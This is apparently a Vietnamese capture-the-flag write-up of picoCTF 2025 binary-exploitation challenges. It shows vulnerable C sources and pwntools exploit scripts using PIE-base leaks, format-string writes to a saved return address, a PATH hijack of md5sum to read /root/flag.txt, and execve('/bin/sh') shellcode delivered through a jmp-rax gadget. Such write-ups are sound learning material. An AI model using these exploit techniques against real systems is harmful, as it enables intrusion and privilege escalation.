# PICO CTF 2025 (PWN) ## PIE TIME Kiểm tra source code: ```c= #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void segfault_handler() { printf("Segfault Occurred, incorrect address.\n"); exit(0); } int win() { FILE *fptr; char c; printf("You won!\n"); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } printf("\n"); fclose(fptr); } int main() { signal(SIGSEGV, segfault_handler); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered printf("Address of main: %p\n", &main); unsigned long val; printf("Enter the address to jump to, ex => 0x12345: "); scanf("%lx", &val); printf("Your input: %lx\n", val); void (*foo)(void) = (void (*)())val; foo(); } ``` Bài này khi ta nhập input là 1 địa chỉ có tồn tại thì chương trinh sẽ nhảy đến địa chỉ đó, code leak sẵn cho ta hàm main, thế thì ta chỉ cần tính PIE base và cộng PIE base với offset của win là xong. Xài kĩ thuật debug động sẽ tìm được offset hàm main là 0x133d ![image](https://hackmd.io/_uploads/SybXv0y6yg.png) Tìm được PIE base thì ta chỉ cần tính địa chỉ win là xong: ```python= #!/usr/bin/env python3.11 from pwn import * elf=ELF("./vuln", checksec=False) #r=process(elf.path) r=remote("rescued-float.picoctf.net", 52820) r.recvuntil(b'Address of main: ') main=int(r.recvline(), 16) print("Main leaked: ", hex(main)) pb=main-0x133d win=pb+elf.sym['win'] print("Win: ", hex(win)) r.interactive() ``` ![image](https://hackmd.io/_uploads/BJMSPA1p1g.png) ## hash-only-1 Để ý ở dòng trong mã giả do IDA decompile: ```bash= /bin/bash -c 'md5sum /root/flag.txt' ``` Md5sum dùng để tính toán theo thuật toán md5 và sau đó lệnh sẽ in ra flag dưới dạng thuật toán đấy, ta có thể hijack nội dung của md5sum ép chương trình in ra flag thật thay vì đoạn hash ![image](https://hackmd.io/_uploads/B1uvvC1p1e.png) ## hash-only-2 Bài này mặc định ta đang ở trong 1 môi trường có nhiều hạn chế về thực thi command, ví dụ thử với lệnh cd: ![image](https://hackmd.io/_uploads/BJGYDCJaJg.png) Để thoát khỏi rbash thì nhập lệnh bash Tìm đường dẫn tới file flaghasher rồi hijack md5sum ```bash= ctf-player@challenge:~$ mkdir /tmp/fakebin mkdir: cannot create directory ‘/tmp/fakebin’: File exists ctf-player@challenge:~$ echo -e '#!/bin/bash\ncat /root/flag.txt' > /tmp/fakebin/md5sum ctf-player@challenge:~$ chmod +x /tmp/fakebin/md5sum ctf-player@challenge:~$ export PATH=/tmp/fakebin:$PATH ctf-player@challenge:~$ /usr/local/bin/flaghasher Computing the MD5 hash of /root/flag.txt.... picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9c5db6a7} ``` ## PIE TIME 2 Xem source code: ```C= #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void segfault_handler() { printf("Segfault Occurred, incorrect address.\n"); exit(0); } void call_functions() { char buffer[64]; printf("Enter your name:"); fgets(buffer, 64, stdin); printf(buffer); unsigned long val; printf(" enter the address to jump to, ex => 0x12345: "); scanf("%lx", &val); void (*foo)(void) = (void (*)())val; foo(); } int win() { FILE *fptr; char c; printf("You won!\n"); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } printf("\n"); fclose(fptr); } int main() { signal(SIGSEGV, segfault_handler); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered call_functions(); return 0; } ``` Bài này có lỗi format string khi print biến buffer. Kiểm tra các lớp bảo vệ của chương trình thì có PIE, tức là phải tính toán địa chỉ win, nhưng phải kiểm tra stack có gì để leak ngay lúc print buffer không để tính được PIE base ![image](https://hackmd.io/_uploads/Bkr2w0yaye.png) Để ý ở dòng dưới cùng nó 1 địa chỉ binary có vẻ xài được ![image](https://hackmd.io/_uploads/BJnTvRJTkx.png) Đây là offset giữa địa chỉ đấy với PIE base, từ đó ta có thể tính địa chỉ win bằng cách leak binary, trừ nó với 0x1400, cộng kết quả mới trừ với offset của win với PIE base là ra hàm win, ta có thể viết script in ra offset hàm win: ```python= from pwn import * elf=ELF("./vuln", checksec=False) r=process(elf.path) print("Win offset:", hex(elf.sym['win'])) r.interactive() ``` ![image](https://hackmd.io/_uploads/BklxdRypJl.png) Để leak địa chỉ binary thì ta đếm và cần format %25$p: ![image](https://hackmd.io/_uploads/S1S-O01ake.png) Khi leak được thì tính toán địa chỉ bằng gdb và nhập nó vào challenge là xong. ## Echo Valley Kiểm tra source code ```c #include <stdio.h> #include <stdlib.h> #include <string.h> void print_flag() { char buf[32]; FILE *file = fopen("/home/valley/flag.txt", "r"); if (file == NULL) { perror("Failed to open flag file"); exit(EXIT_FAILURE); } fgets(buf, sizeof(buf), file); printf("Congrats! Here is your flag: %s", buf); fclose(file); exit(EXIT_SUCCESS); } void echo_valley() { printf("Welcome to the Echo Valley, Try Shouting: \n"); char buf[100]; while(1) { fflush(stdout); if (fgets(buf, sizeof(buf), stdin) == NULL) { printf("\nEOF detected. Exiting...\n"); exit(0); } if (strcmp(buf, "exit\n") == 0) { printf("The Valley Disappears\n"); break; } printf("You heard in the distance: "); printf(buf); fflush(stdout); } fflush(stdout); } int main() { echo_valley(); return 0; } ``` Bài này có lỗi format string được lồng vào trong hàm while(1), khả năng rất cao có thể thực hiện ghi đè GOT nhưng bài này là full relro, ta chỉ có quyền read chứ không thể thay đổi địa chỉ của GOT. Chall này chứa hàm print_flag, tức là ta có thể cần làm gì đó với saved rip để return vào hàm print_flag ![image](https://hackmd.io/_uploads/BkHMrtYh1g.png) ![image](https://hackmd.io/_uploads/ByWmUFF21l.png) Ta sẽ lấy con trỏ chứa địa chỉ saved rip để ghi 2 byte cuối của print_flag vào giá trị của con trỏ đó ![image](https://hackmd.io/_uploads/r1MFOKK2yl.png) Thế thì có 2 địa chỉ cần leak, 1 là 1 địa chỉ binary để tính PIE base và print địa chỉ print_flag, 2 là 1 địa chỉ con trỏ để tính offset từ đó tới con trỏ rip, từ đó có thể ghi được vào con trỏ đó ![Screenshot 2025-03-20 192504](https://hackmd.io/_uploads/rJtm9YYn1g.png) Tính offset ![image](https://hackmd.io/_uploads/By0dqYFh1x.png) ```python= #!/usr/bin/env python3.11 from pwn import * elf=ELF("./valley", checksec=False) r=remote("shape-facility.picoctf.net", 49437) r.recvline() r.sendline(b'%21$p') r.recvuntil(b'You heard in the distance: ') leak_bin=int(r.recvline(), 16) print("Leak binary: ", hex(leak_bin)) offset=0x1413 pb=leak_bin-0x1413 #PIE BASE win=pb+elf.sym['print_flag'] print("Print flag function address: ", hex(win)) r.sendline(b'%9$p') r.recvuntil(b'You heard in the distance: ') leak_add=int(r.recvline(), 16)+0x30 part=win & 0xffff ##Lấy 2 byte cuối của print_flag print("2 bytes: ", hex(part)) payload=f'%{part}c%14$hn'.encode()+b'\x00'*3 payload+=b'a'*48 payload+=p64(leak_add) r.sendline(payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/ryaZ2Kt2yg.png) ![image](https://hackmd.io/_uploads/HJ_XhtF31x.png) ## Handoff Kiểm tra source code ```c= #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #define MAX_ENTRIES 10 #define NAME_LEN 32 #define MSG_LEN 64 typedef struct entry { char name[8]; char msg[64]; } entry_t; void print_menu() { puts("What option would you like to do?"); puts("1. Add a new recipient"); puts("2. Send a message to a recipient"); puts("3. Exit the app"); } int vuln() { char feedback[8]; entry_t entries[10]; int total_entries = 0; int choice = -1; // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory while (true) { print_menu(); if (scanf("%d", &choice) != 1) exit(0); getchar(); // Remove trailing \n // Add entry if (choice == 1) { choice = -1; // Check for max entries if (total_entries >= MAX_ENTRIES) { puts("Max recipients reached!"); continue; } // Add a new entry puts("What's the new recipient's name: "); fflush(stdin); fgets(entries[total_entries].name, NAME_LEN, stdin); total_entries++; } // Add message else if (choice == 2) { choice = -1; puts("Which recipient would you like to send a message to?"); if (scanf("%d", &choice) != 1) exit(0); getchar(); if (choice >= total_entries) { puts("Invalid entry number"); continue; } puts("What message would you like to send them?"); fgets(entries[choice].msg, MSG_LEN, stdin); } else if (choice == 3) { choice = -1; puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: "); fgets(feedback, NAME_LEN, stdin); feedback[7] = '\0'; break; } else { choice = -1; puts("Invalid option"); } } } int main() { setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output) vuln(); return 0; } ``` Bài này có 3 bug: 2 bug buffer overflow khi nhập mảng name và feedback, 1 bug ở đoạn nhập choice, ta có thể nhập giá trị âm, nhưng ở đây ta sẽ không tận dụng bug này. Sau khi kiểm tra một hồi thì mình thấy các dữ liệu cho sẵn không có gì để leak, challenge cũng không có gadget system, nhưng bài này bit NX có bật, ta sẽ hướng nó theo shellcode. Nhân lúc mảng feedback có overflow, ta sẽ thử xem trước khi break while sẽ có gì ![image](https://hackmd.io/_uploads/rk8IE9tnJl.png) Ở đây những gì ta có là offset từ lúc nhập đến rsp bị overflow là 20 bytes, rax và rcx lưu con trỏ trỏ tới giá trị từ lúc nhập nhưng lại set giá trị null ở byte thứ 8 trong mảng feedback (nếu đọc code thì sẽ biết đó là do dòng code: feedback[7] = 0; ) RSP bị overflow ở byte thứ 20, fgets(feedback, 32, stdin), tức là ta chỉ có thể ghi 32-20=12 bytes, loại bỏ ý tưởng nop sled tới shellcode vì 12 bytes không thể chứa shellcode, ta chỉ có thể đặt 1 địa chỉ 8 bytes và mình chọn gadget jmp rax vi rax có trỏ tới giá trị mình nhập ![image](https://hackmd.io/_uploads/ByXtIcKhJx.png) Thế nhưng rax chỉ chứa có 7 bytes, giả sử ta nhập 1 con trỏ nào đó thì byte thứ 8 cũng bị null. Nhưng mảng msg lại có dung lượng khá lớn ta sẽ viết 1 shellcode gồm 7 byte nhảy tới msg và chương trình store shellcode vào rax, khi jmp rax đồng nghĩa jmp vào shellcode đó (ở msg thì ta sẽ chèn shellcode system("/bin/sh")). Thế thì shellcode jump vào system("/bin/sh") sẽ đại loại như: sub rax, offset; jmp rax; vì khi sub rax và rax lúc đó sẽ trỏ vào shellcode trong msg, ta thực hiện jmp rax nữa để thực thi shellcode chiếm shell: ``` shellcode=asm( ''' nop nop sub rax, 0x8c nop nop nop nop jmp rax ''', arch='amd64') ``` ![Screenshot 2025-03-20 204658](https://hackmd.io/_uploads/HyQWp5KhJg.png) Giờ ta chỉ cần tiếp tục tới jmp rax là có thể thực thi system("/bin/sh") Script: ```python= #!/usr/bin/env python3.11 from pwn import * elf=ELF("./handoff", checksec=False) r=process(elf.path) for i in range(1,9): r.recvuntil(b'3. Exit the app') r.sendline(b'1') r.recvuntil(b'name: ') r.sendline(b'abc') r.recvuntil(b'3. Exit the app') r.sendline(b'2') r.recvuntil(b'send a message to?') r.sendline(f'{i-1}'.encode()) r.recvuntil(b'you like to send them?') r.sendline(b'abc') r.recvuntil(b'3. Exit the app') r.sendline(b'1') r.recvuntil(b'name: ') r.sendline(b'abcdef') r.recvuntil(b'3. Exit the app') r.sendline(b'2') r.recvuntil(b'send a message to?') r.sendline(b'8') r.recvuntil(b'you like to send them?') shellcode=asm( ''' mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''', arch='amd64') r.sendline(shellcode) r.recvuntil(b'3. Exit the app') r.sendline(b'3') r.recvuntil(b'appreciate it: ') jmp_rax=0x000000000040116c shellcode=asm( ''' nop nop sub rax, 0x8c nop nop nop nop jmp rax ''', arch='amd64') payload=shellcode.ljust(20, b'\x90') payload+=p64(jmp_rax) r.sendline(payload) r.interactive() ``` Ở đoạn đầu mình có sử dụng for để nhập hết 10 phần tử struct để offset giảm từ đó sub rax, offset có thể nhẹ hơn tiện cho việc thêm NOP để align. ![Screenshot 2025-03-20 205313](https://hackmd.io/_uploads/S1StR9tnJl.png)